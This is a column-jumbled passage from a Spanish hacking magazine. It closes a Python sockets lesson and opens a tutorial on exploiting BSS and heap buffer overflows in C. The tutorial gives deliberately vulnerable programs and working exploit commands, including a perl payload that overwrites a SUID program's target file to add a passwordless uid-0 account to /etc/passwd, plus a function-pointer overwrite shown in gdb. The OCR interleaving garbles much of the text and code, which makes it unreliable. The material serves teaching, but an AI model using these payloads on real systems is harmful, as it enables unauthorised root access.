salvo que se usan paréntesis en lugar los tipos de datos vamos a cambiar de importables sería tan sencillo como
de corchetes: tercio y aprenderemos como crear fun­ crear un fichero lleno de nuestras fun­
ciones dentro de nuestro código. Las ciones y en nuestros programas impor­
>>> tupla=(9,'hola')
funciones son una forma de reutilizar tar aquellas que necesitáramos. Útil y
>>> print tupla
código ya que puedes llamarlas o im­ rápido.
(9,'hola')
portarlas desde otro programa siempre
>>>
que las necesites. Bueno, si habéis llegado hasta aquí sin
La tuplas no tienen métodos asociados. dormiros es que tenéis mucha pacien­
Crear una función es muy sencillo. Tan cia. Lo agradezco y espero que hasta el
Si se diera el caso de necesitar modifi­
solo: momento os haya gustado el desarrollo
car una tupla, disponemos de las fun­
ciones tuple() y list(). List() convierte del artículo. Puede que se esté haciendo
def nombre_función(parametros):
una tupla en una lista con lo que podre­ algo corto, pero debéis comprender que
intrucciones
mos modificarla a nuestro antojo, y tu­ explicar todas y cada una de las funcio­
....
ple() realiza justo lo contrario: convertir nes y métodos que hemos visto hasta
una lista en una tupla. La función acaba cuando se deja de ta­ ahora sería interminable así que he pre­
bular. Los parámetros de entrada son ferido mencionarlas y daros las herra­
opcionales. Se ponen si necesitamos mientas para que las busquéis ( dir() )
pasarle datos a la función desde el ex­ y miréis como funcionan por vuestra
terior. Veamos un par de ejemplos y os cuenta (además así se aprende mejor.
Pensemos en un diccionario de Inglés- lo aclarará. Veréis que no tiene mayor Tropezando y levantándose). ahora lle­
Español. Buscas una palabra en inglés y compliación: gamos a una parte más interesante.
tienes la equivalencia en castellano. Vamos a aprender a pasar argumentos
Pues eso mismo es un diccionario. >>> def funcion(): al programa y como aliciente para que
... print 'Probando funcion...' hagáis experimentos en casa aprende­
Un diccionario es igual que una lista so­ ... remos a programar sockets. Eso sí, na­
lo que cada elemento esta compuesto >>> funcion() da de módulos. Sockets a mano y en
de un índice y su elemento asociado. Probando funcion... bruto ;)
Una lista es lo mismo pero el índice es >>>
numérico, y no figura visiblemente
Creamos la función y luego simplemen­
mientras que en un diccionario si es vi­
te la llamamos. Esta función no necesi­
sible y lo ponemos nosotros. Veamos:
taba parámetros pero y si quisiéramos
pasarle datos?
>>> dicc={'hola':'adios',978:'jeje'} Quizás os preguntéis porque hasta el
>>> print dicc >>> def funcion(x,y):
momento no he explicado para que sir­
{978: 'jeje', 'hola': 'adios'} ... print x*y ve los programas del principio. Bueno,
>>> print dicc['hola'] ... una razón es que creo que sois lo bas­
adios >>> funcion(3,4) tante listos como para averiguarlo pero
>>> 12 básicamente es porque hasta el mo­
>>> mento no ha sido necesario echar mano
Los diccionarios se declaran entre llaves de ellos para las explicaciones. Hasta el
Sencillo. Le indicamos los parámetros
y cada par se separa entre sí por dos momento...
que necesita para funcionar y luego
puntos y entre cada par por comas.
operamos con ellos. Y si necesitamos
Para seleccionar un par basta con indi­ Los programas son dos: el echo-
que la función nos devuelva un valor?
carlo entre corchetes como si fuera el server.py es un programa que abre el
Para eso usamos la instrucción return.
índice de una lista como podemos ver. puerto que tu le digas y se pone a la es­
Disponen de sus propios métodos que >>> def funcion_ret(x,y): cucha. Su función es, como su nombre
podremos ver con dir() y también pode­ ... return x+y indica, devolver dato a dato todo lo que
mos usar del() para borrar un elemento ... le manden a quien se lo mandó. El
en particular como en las listas. >>> z=funcion_ret(3,4) echo-client.py es el cliente del server
>>> print z (aunque podríais usar cualquier progra­
>>> del(dicc['hola']) 7 ma de conexión como telnet o netcat).
>>> print dicc >>> Manda cadenas de caracteres y luego
{'jaja': 'jeje'} muestra por pantalla lo que recibe del
>>> Devolvemos el valor y lo almacenamos server.
en una variable (z) y luego ya podemos

12
A veces nos interesa que un programa Se imprime la lista entera (entre cor­ La variable puerto, si veis el código del
tenga varias opciones disponibles y no chetes) de todos los argumentos, y co­ programa, es igual a argv[1], es decir,
es factible hacer un menú de usuario. mo podéis ver, el primero es el propio que el puerto se lo pasamos por consola
Aquí entran en juego los argumentos. nombre del programa. Ahora ya podréis (repasad otra vez el apartado de argv si
Para realizar esta tarea necesitaremos crear programas mas aparentes y “pro­ no lo tenéis claro), y la variable maqui­
la ayuda del módulo sys. fesionales” ;) na equivale a la cadena vacía ( '' comi­
llas simples). Por qué la cadena vacía?
La “lista” que almacena los argumentos Porque el host en un server se declara
del programa es argv y puede ser im­ así, indicando que la función bind() se
portada del módulo sys. ejecuta en la máquina local. Los avispa­
Llegó el tan ansiado momento. Espero dos os habréis dado cuenta de que di­
Ve a m o s n u e s t r o p r o g ra m a e c h o - explicarme bien y que me comprendáis. cha variable podría contener cualquier
server.py: Vamos a explicar una por una las intruc­ otra cosa. Es cierto, podría contener
ciones de los programas server.py y una IP por ejemplo, pero tened en
import socket,sys client.py. cuenta que a no ser que esa IP coincida
....... con la del ordenador donde se está eje­
Primero el servidor:
if (len(sys.argv)!=2): cutando el programa, este no funciona­
print './echoserver.py [puerto]' rá :P
sys.exit(10) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.listen(5)
Como podemos ver, se importa sys y te­ Aquí creamos un socket TCP al llamar a
nemos disponible argv. El primer ele­ la función socket() del módulo socket Esto es sencillo. Pone a escuchar al soc­
mento de argv y que siempre esta pre­ (fijaos: socket.socket) y lo asignamos a ket en el puerto y limita el numero
sente es el mismo nombre del progra­ la variable “s”. Los parámetros le indi­ máximo de conexiones aceptadas antes
ma. Después vendrían todos los argu­ can que es un socket TCP. El primer pa­ de empezar a denegar el acceso (en es­
mentos que se le pasen al programa (es rámetro, AF_INET, indica que usaremos te caso 5). Como nuestro server no está
importante que recordéis que como en el protocolo IP y el segundo parámetro, programado con threads, aceptará la
las listas, se empieza a numerar a partir SOCK_STREAM indica que es un socket primera conexión y las siguientes 5 las
del cero, por si necesitáis acceder a un que usa el protocolo TCP. dejará “en espera” hasta que el server
elemento en particular). esté disponible.
Todas las opciones disponibles como pa­
En el programa comprobamos la longi­ rámetros son: Es necesario siempre el parámetro de
tud de la lista argv usando la función listen() con un mínimo de 1.
len() y vemos si es distinta de dos. Si lo AF_INET: indica sockets IP
En estos momentos, el server esta listo
es, les soltamos el “manual del usuario” AF_UNIX: indica sockets UNIX en la
y a la escucha y se pone en bucle infini­
para recordar como se usa el programa, máquina local
to a la espera de conexiones entrantes
y salimos. La función exit(), aprove­ SOCK_STREAM: indica protocolo TCP
(por eso el while 1. Por cierto, por si no
chando la ocasión, es una forma rápida SOCK_DGRAM: indica protocolo UDP
lo habéis deducido, para salir del server
de salir del programa en curso. Si se SOCK_RAW: indica raw socket (en crudo)
en ejecución la única forma es pulsar
omite el parámetro se considera salida
Ctrl-C, como en el netcat ;P )
correcta (o igual a cero).
s.bind((maquina,puerto))
conn,dir_conn=s.accept()
Vamos a hacer otra prueba con el argv
para que veáis como es (un programa Ligamos el socket a una dirección IP y
un puerto con bind() (fijaos que pongo Aceptamos la conexión entrante y alma­
muy sencillo):
la variable con un punto y luego la cenamos los datos en dos variables (en
función. Esto tiene que ver con la Python está permitida la asignación
prueba_argv.py
programación de objetos pero ya lo ve­ múltiple). La conexión real se almacena
remos otro día. Quedaos con que se ha­ en la variable conn y la dirección del
#!/usr/bin/env python
ce así y listos). Si os fijáis, hay doble cliente en dir_conn
import sys paréntesis. No es un error de imprenta.
eco(conn,dir_conn)
print sys.argv
Bind() necesita que se lepasen los pará­
Llamamos a nuestra función eco() con
metros en una tupla, y las tuplas, si re­
los dos parámetros obtenidos en acce­
Si lo ejecutamos con argumentos: cordáis se declaran entre paréntesis.
pt(), y dentro de ella entraremos en
otro bucle infinito para ir leyendo la
Shadowland:~/python$ ./prueba_argv.py hola segundo mirando argumentos información según vaya llegando.
['./prueba_argv.py', 'hola', 'segundo', 'mirando', 'argumentos']
Shadowland:~/python$ data=conn.recv(1024)

13
Recibimos 1024 bytes (1 kb) de que se le pasen los parámetros en una servidor SMTP y envíe un e-mail. Para
información y la almacenamos en la va­ tupla. los que hayan seguido la revista, la
riable data. explicación de los comandos SMTP ha
s.send(linea) salido en el curso de PyC. Para quienes
if not data: break no la hayan seguido, os haré un breve
Manda el contenido de la variable linea resumen:
Si llegara el momento de que data fuera al host destino.
igual a la cadena vacía, lo que significa­ HELO mi_nombre para identifi­
ría que no se han recibido más datos, el data=s.recv(1024) carse uno mis­
bucle while infinito se rompería (gracias mo
a break) Recibe el resultado. MAIL FROM: mi_mail para indicar el
remitente del
conn.send('Echo -> '+data) s.close() correo
RCPT TO: correo_destino para indicar el
Envía de vuelta al cliente los datos reci­ Cierra el socket. receptor del
bidos en data con send() correo
Bien, ya está. Supongo que no ha sido QUIT para salir del
conn.close() tan doloroso ni complicado, verdad? SMTP
Con esto tenemos una buena base para
Cierra la conexión una vez acabado el desarrollar nuestras pequeñas aplicacio­ Debéis recordar que para finalizar el
bucle. nes orientadas a la conexión, ya sean texto del mensaje tenéis que acabar
servers o clientes. con un punto en una linea independien­
Con todo esto queda explicado el ser­ te, y un retorno de carro, así:
Hemos llegado al final del artículo. Ha
ver. Ahora nos meteremos con el clien­
quedado más corto que el primero pero
te. Será más sencillo y rápido de expli­ Este es un mensaje de prueba. Tanto gusto.
esto es así porque el primero era todo
car puesto que ya hemos visto como .<cr>
el peñazo de la sintaxis del lenguaje y
funcionan las cosas. Metámonos en ha­
había que dejarlo claro. Pensad que hu­
rina: Y aquí acabamos. Hasta el “Episodio 3”.
biera pasado si no lo hubiera hecho.
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) Dos artículos seguidos aguantando un
Saludos...
tostón? ;P
Creamos el objeto socket como en el PD: uh-oh, se me olvidaba. Un breve
server. Para no variar las costumbres os voy a
resumen de lo que vendrá en el siguien­
poner un ejercicio para que vayáis prac­
te artículo: Ficheros, Objetos y clases,
s.connect((maquina, puerto)) ticando todo.
Módulos de sockets especializados y una
Ejercicio: sorpresita (no os lo voy a decir todo,
Conectamos al par maquina:puerto me­ verdad? ;) )
diante connect(). Este funciona igual Tomando como base lo que hemos ex­
que bind() sólo que conecta a la máqui­ plicado, debéis intentar crear un progra­ Agradecimientos a HpN, HxC y a mi mu­
na destino en vez de ligar un puerto al ma que usando sockets se conecte a un jer Marta
socket. Necesita, al igual que bind(),

PON AQUÍ TU PUBLICIDAD

precios desde
99 euros
14
¿Has pensado alguna vez en
poner TU PUBLICIDAD en
una revista de cobertura
nacional?
¿Has preguntado
precios y comprobado
que son demasiado
elevados como para
amortizar la inversión?

Con nosotros, la publicidad está al alcance de todos


Bienvenido a esta segunda entrega de esta pequeña serie de artículos sobre
explotación de vulnerabilidades. Ya hablamos en el artículo anterior sobre los desbordamientos de
buffer ocurridos en la pila. En este artículo vamos a ver cómo aprovecharnos de desbordamientos
ocurridos en otras secciones de memoria, en especial en las secciones denominadas Heap y BSS.
Antes explicaré un poco el uso de la memoria dinámica mediante la función malloc(), para que pue­
das entender mejor los códigos incluidos en el artículo. Que lo disfrutes ;-)

tipo de funciones es para realizar contadores del número


de ejecuciones de una función, y que no haga cierta tarea
más de un número determinado de veces.

En esta sección vamos a ver cómo se definen variables Veamos qué pasa con el siguiente código:
globales y estáticas (static), entenderemos la necesidad
de la memoria dinámica, y aprenderemos cómo usarla en Código ejemplo1.c:
C. Lo ideal sería que tuvieras algunas nociones muy bási­
#include <stdio.h>
cas de C (y si no son tan básicas, pues mucho mejor ;-) ),
int numero;
aunque sabiendo algo de programación, sea el lenguaje
que sea, no te será difícil seguir estas sencillas explicacio­
int main(){
nes. Además, teniendo el curso de Python escrito por int funcion();
Moleman en esta misma revista, no tienes excusa :P numero=0;

Hablemos primero de las variables globales. Como ya debes


while(funcion()==0 )
saber, cuando creamos una variable dentro de una función, printf("numero vale: %d\n", numero);
ésta se almacena en la pila (ya lo vimos en el artículo ante­ }
rior), y solamente se puede acceder a ella desde la propia
función que la ha creado. Sin embargo, si deseamos poder int funcion(){
acceder a una variable desde todo nuestro programa, y man­ static cont=0;
tener su valor en el punto que sea de su ejecución, debere­
mos declarar esta variable como global, declarándola al prin­ if(cont<3){
cipio de nuestro código, fuera de ninguna función. Si no se numero=rand();
printf("Ya he hecho mi faena :P [%d] \n",cont);
inicializan en el momento de su creación, este tipo de varia­
cont++;
bles se almacenan en el segmento BSS. Si son inicializadas,
return 0;
se almacenan en el segmento de datos.
} else {
printf("Estoy cansada. Ya me has ejecutado demasiadas veces\n");
Por otro lado, tenemos las variables estáticas, que se
return -1;
crean dentro de una función, pero no se destruyen al fina­
}
lizar ésta. Así, cuando volvamos a llamar a la función, su }
valor permanecerá igual que antes. Un posible uso de este

34
Éste se va a ganar el premio al código nos provee la librería estándar, entre las
más chorra del año :-D. Lo único que ha­ cuales se encuentran las funciones ma­ free(ptr);
ce es crear una variable global (numero), lloc, calloc, free.. Las funciones malloc()
y luego en el main la inicializa a 0 y eje­ y calloc() nos sirven para reservar me­ return 0;
cuta la función en un bucle hasta que és­ moria dinámica (localizada en el seg­ }
te devuelva un valor distinto de 0. mento Heap), mientras que free() se
utilizará cuando hayamos terminado de Espero que este pequeño ejemplo ilus­
La función hará su tarea (sacar un usar dicha memoria, para liberar el es­ tre lo suficientemente bien el uso de la
número seudo-aleatorio) hasta que cont pacio reservado y que así pueda utili­ memoria dinámica mediante la función
tome el valor 3. A partir de entonces la zarse para posteriores peticiones de re­ malloc() y free(), y que así os podáis
función se negará a hacerlo, pues consi­ serva de memoria dinámica. hacer una idea de qué es lo que vamos
derará haberse ejecutado demasiadas ve­ a atacar ;-).
ces. Veamos la salida de este programa: La función malloc() recibe como pará­
metro la cantidad de memoria a Como veis, se pueden crear variables de
tuxed@athenea:~/articulo2$ gcc ejemplo1.c -o ejemplo1 reservar, y devuelve un puntero a un tamaño elegido por el usuario, o por
tuxed@athenea:~/articulo2$ ./ejemplo1 el propio programa, en tiempo de
la nueva zona de memoria reser­
Ya he hecho mi faena :P [0] ejecución. Sin embargo, si no tomamos
vada, con lo que únicamente po­
numero vale: 1804289383 las precauciones oportunas, sigue sien­
dremos acceder a ella a través de
Ya he hecho mi faena :P [1] do posible desbordar un buffer creado
numero vale: 846930886 éste. Una vez acabemos de utili­
zarla, liberaremos la memoria de esta forma, sobrescribiendo memoria
Ya he hecho mi faena :P [2]
haciendo una llamada a free(), más allá de los límites que nos pertene­
numero vale: 1681692777
pasando como parámetro el pun­ cen ;-).
Estoy cansada. Ya me has ejecutado demasiadas veces
tuxed@athenea:~/articulo2$ tero devuelto por malloc().
Si recuerdas, en el artículo anterior nos
aprovechábamos de la dirección de re­
Vamos a ver un pequeño ejemplo que
Como puedes ver, funciona tal y como torno de la función actual guardada en
calculará la media de una cantidad des­
he explicado, aunque si lo vuelves a la pila, sobrescribiéndola con la
conocida de números enteros. Lo que
ejecutar te dará los mismo valores para dirección de un código máquina (shell­
haremos será pedirle al usuario la canti­
la variable numero, puesto que rand() code) que previamente habíamos situa­
dad de datos que nos va a dar, y reser­
debería haberse inicializado mediante la do en memoria, para que al intentar re­
var espacio para un vector de enteros
función srand(), pero eso ya es otra his­ tornar, la ejecución del programa caye­
de ese tamaño.
toria ;-) ra en dicho código e hiciese lo que cre­
yéramos oportuno (en general, brindar­
Lo siguiente será pedirle esos datos en
Veamos ahora la memoria dinámica. nos acceso al sistema :-) ). Sin em­
un bucle, calcular la media, e imprimirla
Imagina que tienes un programa que va bargo, esta vez el buffer que vamos a
por pantalla. Al final de todo este proce­
a almacenar datos en un buffer. Como sobrescribir estará en el segmento BSS
so, procederemos a liberar la memoria
no sabemos qué cantidad de datos va a o en el Heap, donde no hay ninguna
reservada.
darnos el usuario, no sabemos el espa­ dirección de retorno almacenada ni na­
cio que debemos reservar para él. Sin da que se le parezca. Así, en este caso
El código es el siguiente:
embargo, ¿por qué no le pedimos que deberemos tirar mano de otras cosas.
nos diga cuántos datos nos va a entre­ Código ejemplo2.c:
gar, y luego lo creamos? Sería una bue­ #include <stdio.h> Y supongo que te estarás preguntan­
na opción, pero, ¿cómo se hace? do... ¿Pero qué cosas exactamente? Lo
int main(){ más lógico en un desbordamiento de
int num,i; este tipo, es pensar en sobrescribir va­
Si aprendiste C, seguramente te dijeron
float suma=0; riables importantes de nuestro progra­
que las variables se debían declarar al
int *ptr; ma, como por ejemplo nombres de fi­
principio de cada función, y que no se
podía hacer algo como: chero ( engañando al programa para
printf("Dime el número de datos: ");
que escriba, por ejemplo, en
scanf("%d", &num);
printf(“Cuantos caracteres me vas a dar?”); /etc/passwd ), punteros a funciones (en
scanf(“%d”, &carac); ptr=(int *)malloc(num*sizeof(int)); este caso probablemente podamos eje­
char buffer[carac]; cutar una shellcode almacenada en me­
for(i=0;i<num;i++){ moria ;-) ), variables de autenticación
Si hacemos algo así, el compilador nos printf("Elemento %d ->", i+1); ( como un UID almacenado en el pro­
arrojará un bonito error. Sin embargo, scanf("%d", ptr+i*sizeof(int) ); grama, que sirva para verificar si somos
para este tipo de cosas existe la memo­ } root o no...).
ria dinámica. for(i=0;i<num;i++)
suma+=ptr[i]; Por otra parte, tenemos otras técnicas
Para manejar la memoria dinámica en suma=suma/num; un poco más complejas, válidas
C, tenemos una serie de funciones que únicamente para explotar desborda­
printf("La media es %f\n", suma);

35
mientos en el segmento Heap, en las primer argumento de nuestro progra­ Imagina ahora que tenemos un archivo
cuales se trata de aprovecharse del ma­ ma. Una vez hecho esto, abrimos el ar­ llamado usuarios en nuestro directorio,
nejo de la memoria dinámica de nuestro chivo para añadirle datos (parámetro a y que es propiedad del administrador
sistema operativo, para intentar ejecu­ [append] de fopen ), y escribe la línea del sistema [Lo sé, es muy cutre, pero
tar código como si de un stack-based que le hemos pasado. Las siguientes lí­ no deja de ser un ejemplo, no? :-P ].
overflow se tratara. neas muestran el funcionamiento nor­ Este archivo contiene una lista de los
Vamos a ver qué podemos hacer ;-). mal de este programa: usuarios que pueden usar cierto comando
del sistema que nos in­
tuxed@athenea:~/Articulos HxC/art2$ ./bss1 "Acabar artículo Heap Overflow" teresa mucho, pero no
Linea a escribir: Acabar artículo Heap Overflow contiene nuestro nombre
Archivo: todo.txt de usuario. ¿Se te ocurre
Escritura realizada correctamente ;-)
Como ya he dicho antes, una posibilidad algo? Supongo que como
tuxed@athenea:~/Articulos HxC/art2$ ./bss1 "Comprar embudo nuevo :D"
bastante sencilla a la hora de explotar Linea a escribir: Comprar embudo nuevo :D
yo, estarás pensando en
un desbordamiento de buffer en el Archivo: todo.txt sobrescribir la variable
Heap, es sobrescribir un nombre de ar­ Escritura realizada correctamente ;-) archivo de nuestro pro­
tuxed@athenea:~/Articulos HxC/art2$ cat todo.txt grama por la palabra
chivo por otro a nuestra elección, para
Acabar artículo Heap Overflow
poder meter en él aquello que desee­ usuarios, y en la lista de
Comprar embudo nuevo :D
mos. Para comprobar cómo se hace es­ tuxed@athenea:~/Articulos HxC/art2$
usuarios escribir nuestro
to, vamos a utilizar un pequeño progra­ nombre. Para ello, el
ma de prueba, que servirá para añadir programa bss1 debería ser propiedad de
líneas a una lista, por ejemplo una lista Ahora bien, vemos que se disponen de root y tener el bit SUID activado, pues si
de cosas por hacer. 100 caracteres para el buffer linea, pero no es así, no podremos modificar un ar­
no se comprueba la longitud del argumen­ chivo que no nos pertenece.
En este caso, vamos a usar variables to pasado al programa, sino que simple­
estáticas. Por tanto, lo que vamos a ex­ mente se copia con la función strcpy. Así Un detalle importante, es que debemos
plotar es un BSS-based overflow: pues, ya tenemos algo para jugar :-) rellenar los 128 bytes del buffer. Además,
Probaremos a meter más datos al progra­ queremos poner nuestro nombre de
bss1.c: ma, a ver si somos capaces de escribir lo usuario tal cual en el archivo (tuxed en
#include <stdio.h> que deseemos en la variable archivo. este ejemplo) solo en una línea, así que
deberemos idearnoslas para que
int main(int argc, char *argv[]){ tuxed@athenea:~/Articulos HxC/art2$ ./bss1 `perl -e 'print "A"x110'` los 128 bytes incluyan tuxed en
FILE *todo; Linea a escribir: AAAAAAAAAAAAAAAAA (...hasta 110 A's) una línea, y que a partir de esos
static char linea[100]; Archivo: todo.txt
128 bytes esté el nombre del fi­
static char archivo[40]; Escritura realizada correctamente ;-)
tuxed@athenea:~/Articulos HxC/art2$ ./bss1 `perl -e 'print "A"x130'`
chero que queremos modificar.
Linea a escribir: AAAAAAAAAAAAAAAAA (...)
Archivo: AA Por tanto, lo que vamos a hacer
if ( argc<2 ){
Escritura realizada correctamente ;-) es poner al principio del buffer
printf("Uso: %s [mensaje]\n", argv[0]); tuxed@athenea:~/Articulos HxC/art2$ ./bss1 `perl -e 'print "A"x128'`
return -1;
nuestro nombre de usuario, se­
Linea a escribir: AAAAAAAAAAAAAAAAA (...)
} Archivo:
guido de un carácter new line
Violación de segmento (NL, código ASCII 0x0A en
strcpy(archivo, "todo.txt"); tuxed@athenea:~/Articulos HxC/art2$ hexadecimal), y después 122
strcpy(linea, argv[1]); letras cualesquiera (128 bytes
menos la longitud de la cadena tuxed
/* Debug info ;-) */ Como se puede ver en estas líneas, si
menos el carácter NL ), y después el
printf("Linea a escribir: %s \n", linea); metemos 110 caracteres, la cosa sigue
nombre del archivo ( la palabra usuarios
printf("Archivo: %s\n", archivo); funcionando a la perfección. En cambio,
). La siguiente salida muestra el estado
en cuanto pasamos de 128, estamos
del archivo usuarios antes de la ejecución
todo=fopen(archivo, "a"); sobrescribiendo el archivo donde vamos
de nuestro plan, la ejecución del mismo,
fputs(linea,todo); a escribir. En el primer caso, con 130 le­
fputs("\n", todo);
y dicho archivo justo después: (ver lis­
tras A, hemos sobrescrito el nombre de
tado 1)
archivo por AA, mientras que en el se­
printf("Escritura realizada correctamente ;-)\n");
gundo, ha quedado una cadena vacía, Como vemos, hemos podido sobrescri­
return 0;
}
pues lo único que se ha escrito ha sido bir el archivo usuarios con nuestro nom­
el byte nulo que identifica el final de ca­ bre de usuario, aunque le ha quedado
Como puedes ver, simplemente creamos dena. Así, cuando intentamos abrir el una bonita línea de 122 letras A, más el
dos variables estáticas (segmento BSS), archivo, no pasamos un nombre válido nombre del propio archivo. Esto es por­
guardamos en la variable archivo el a fopen, con lo que no podremos usarlo que la cadena linea del programa vulne­
nombre de nuestra lista de cosas por para escribir cosas, y de ahí la violación rable incluía todo eso, y eso es lo que
hacer, y copiamos en la variable linea el de segmento. se ha insertado en el archivo.

36
tuxed@athenea:~/Articulos HxC/art2$ cat usuarios
mos con ellos? Pues meterlos en el
pepito campo de comentarios :-).
azimut
tuxed@athenea:~/Articulos HxC/art2$ ./bss1 "`perl -e 'print "tuxed"."\x0A"."A"x122 . "usuarios"'`" Ahora sí, tenemos claro qué hacer, así
Linea a escribir: tuxed
que no se hable más. Acción!(ver lista­
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAusu
do 2)
arios
Archivo: usuarios Ahora si miramos el archivo
Escritura realizada correctamente ;-) /etc/passwd, tendremos un usuario lla-
tuxed@athenea:~/Articulos HxC/art2$ cat usuarios
pepito
azimut
mado root_malvado, sin password. Solo
tuxed
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA nos queda loguearnos como ese usua­
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAusu rio, y ya tenemos nuestra shell de root
arios
;-).
tuxed@athenea:~/Articulos HxC/art2$

Para acabar con este programa, sola­


Listado 1
mente me queda hacer un pequeño co­
Vamos ahora a intentar modificar un ar­ Sin embargo, si analizamos el formato mentario. Mientras hacía mis pruebas,
chivo crucial de nuestro sistema. Se tra­ de dicho archivo, y lo que pasó anterior­ estaba trabajando en las X al mismo
t a d e l a r c h i vo d e l s i s t e m a l l a m a d o mente con el archivo usuarios, vemos tiempo que escribía este artículo en el
/etc/passwd. En este archivo se encuen­ que el final de la linea que agreguemos OpenOffice.org, y después de agregar
tran los usuarios de nuestro sistema, va a ser, obligatoriamente, /etc/passwd mi nuevo usuario mediante la técnica
con un formato muy concreto. Veamos , pero el último campo de ésta debería expuesta, procedí a loguearme con él
una línea del archivo en cuestión: identificar la shell de acceso al sistema, vía el comando su root_malvado. Cuál
así que no puede ser /etc/passwd sim­ fue mi sorpresa que me pedía
root:x:0:0:root:/root:/bin/bash contraseña y me daba error de
plemente, puesto que al no ser una autenticación al dar a INTRO sin escribir
En cada línea del archivo, hay varios shell válida, no se ejecutará. Entonces, contraseña alguna. Por lo que he podido
campos separados por el signo :. De iz­ ¿qué hacemos? Muy sencillo, vamos a comprobar, esto solo pasa en Debian, y
quierda a derecha, son: nombre de crearnos un enlace simbólico hacia la no ocurre si haces un login normal al
usuario, contraseña encriptada, UID, shell de bash ( /bin/bash ), cuya ruta sistema con el nuevo usuario, y tampo­
GID, comentario, directorio de trabajo acabe en /etc/passwd (por ejemplo, co si se hace el su desde una consola
(home del usuario), y por último, la /tmp/etc/passwd). Una vez hecho esto, virtual (ttyX, esas que se acceden me­
shell que se ejecutará cuando este simplemente debemos ajustar nuestro diante Ctrol-Alt-Fx).
usuario haga login en el sistema. El buffer para que cumpla con las condi­
campo contraseña es opcional, puede ciones deseadas. Además, es conveniente comentar que
estar vacío (sin password), o contener Necesitamos que tenga 128 caracteres esta vulnerabilidad perfectamente podía
una x, que indica que la contraseña en­ más la longitud de /etc/passwd (11 ca­ haber ocurrido en el Heap, que la ha­
criptada se guarda en otro archivo (con­ racteres). Por tanto, nuestra linea va a bríamos tratado exactamente igual,
cretamente, /etc/shadow ). tener 139 caracteres. Como nombre de aunque los tamaños del buffer habrían
usuario, vamos a poner root_malvado variado un poquito. Os animo a probarlo
Además, como ya sabrás, el uid 0 indica (12 caracteres), password en blanco, cambiando las líneas:
privilegios de root, y encima en el archi­ uid y gid los mismos de root (0 para
vo /etc/passwd pueden haber varios static char linea[100];
ambos), directorio home /root (5 carac­
static char archivo[40];
usuarios con uid 0... Supongo que ya teres más) y como shell,
imaginas que vamos a hacer, no? ;-). /tmp/etc/passwd, como ya hemos di­
Por éstas:
Vamos a crear una nueva línea en el ar­ cho. Así, si sumamos todos los campos,
chivo /etc/passwd que nos proporcione incluyendo los separadores de campo, char *linea;
un usuario root, con el que poder hacer tenemos 40 caracteres. Por tanto, para char *archivo;
login en el sistema. que las cosas vayan bien, necesitamos linea=malloc(100);archivo=malloc(40);
99 caracteres más, pero... ¿y qué hace­
Listado 2
tuxed@athenea:~/articulo2$ mkdir /tmp/etc
tuxed@athenea:~/articulo2$ ln -s /bin/bash /tmp/etc/passwd
tuxed@athenea:~/articulo2$ ./bss1 `perl -e 'print "root_malvado::0:0:"."A"x99 .":/root:/tmp/etc/passwd"'`
Linea a escribir: root_malvado::0:0:AAAAAAAAAAAAA (...)AAAAAAAAAAAA:/root:/tmp/etc/passwd
Archivo: /etc/passwd Vamos ahora a trastear con el siguiente
Escritura realizada correctamente ;-) programa:

37
Código bss2.c: jugar con él. ¿Cómo? Pues ya sabes, Como puedes observar, se ha utilizado
dándole más cosas de las que puede la misma shellcode que en el artículo
#include <stdio.h> aguantar y observando los cambios que anterior, que puedes encontrar (junto a
int alta(char cliente[]){ sufre nuestro amado punterito :-D : los demás códigos de ambos artículos)
/*Aquí el código que da de alta un cliente */
en el foro :-) Además, en esta
printf("He dado de alta el cliente ;-)\n"); tuxed@athenea:~/articulo2$ ./bss2 alta `perl -e 'print "A"x54'`
return 0;
ocasión no se ha dado privilegios de
Puntero apunta a 0x8004141
} Violación de segmento root al programa, y por eso la shell
tuxed@athenea:~/articulo2$ ./bss2 alta `perl -e 'print "A"x55'` devuelta es de nuestro propio usua­
int baja(char cliente[]){ Puntero apunta a 0x414141 rio. En caso de haber puesto el bi­
/* Aquí el código de baja de un cliente */ Violación de segmento nario como SUID root, la shell ten­
printf("Cliente dado de baja :(\n"); tuxed@athenea:~/articulo2$ ./bss2 alta `perl -e 'print "A"x56'`
return 0;
dría privilegios de root ;-)
Puntero apunta a 0x41414141
} Violación de segmento
tuxed@athenea:~/articulo2$ Sin embargo, este método necesita de
int main(int argc, char *argv[] ){ una pila ejecutable. En caso de que
static char nombre[50];
nos encontremos ante un sistema con pi­
static int (*ptr_func)(char *cliente); Como se puede ver, con 54 caracteres
la no ejecutable, nuestro ataque no sería
logramos modificar la mitad del pun­
if(argc<3){ viable, pues nuestra shellcode no podría
tero a la función. Con 56 la logramos
printf("Uso: %s <alta|baja> Nombre_cliente\n",argv[0]); ejecutarse. Aun así, tenemos un buffer
modificar entera :-). Puesto que
exit(-1); que hemos rellenado de letras A, y que
} nuestro código luego llama a dicha
función mediante el
if(strcmp(argv[1],"alta")==0) puntero, aquí tenemos GNU gdb 6.3-debian
ptr_func=(int (*)(char *))alta; Copyright 2004 Free Software Foundation, Inc.
un punto desde el cual
else GDB is free software, covered by the GNU General Public License, and you are
redirigir la ejecución welcome to change it and/or distribute copies of it under certain conditions.
if(strcmp(argv[1],"baja")==0)
ptr_func=(int (*)(char* ))baja; del programa hacia un Type "show copying" to see the conditions.
else código nuestro ;-). There is absolutely no warranty for GDB. Type "show warranty" for details.
return -1; A h o r a , s i q u e r e m o s This GDB was configured as "i386-linux"...Using host libthread_db library
strcpy(nombre, argv[2]); "/lib/tls/libthread_db.so.1".
aprovecharnos, lo más
printf(“Punetro apunta a: %p\n”,ptr_func);
sencillo sería hacer lo (gdb) break main
(*ptr_func)(nombre);
return 0; mismo que hacíamos Breakpoint 1 at 0x8048466: file bss2.c, line 19.
} con los desbordamien­ (gdb) run alta `perl -e 'print "A"x56'`
tos en la pila. Puesto Starting program: /home/tuxed/articulo2/bss2 alta `perl -e 'print "A"x56'`
que disponemos de una
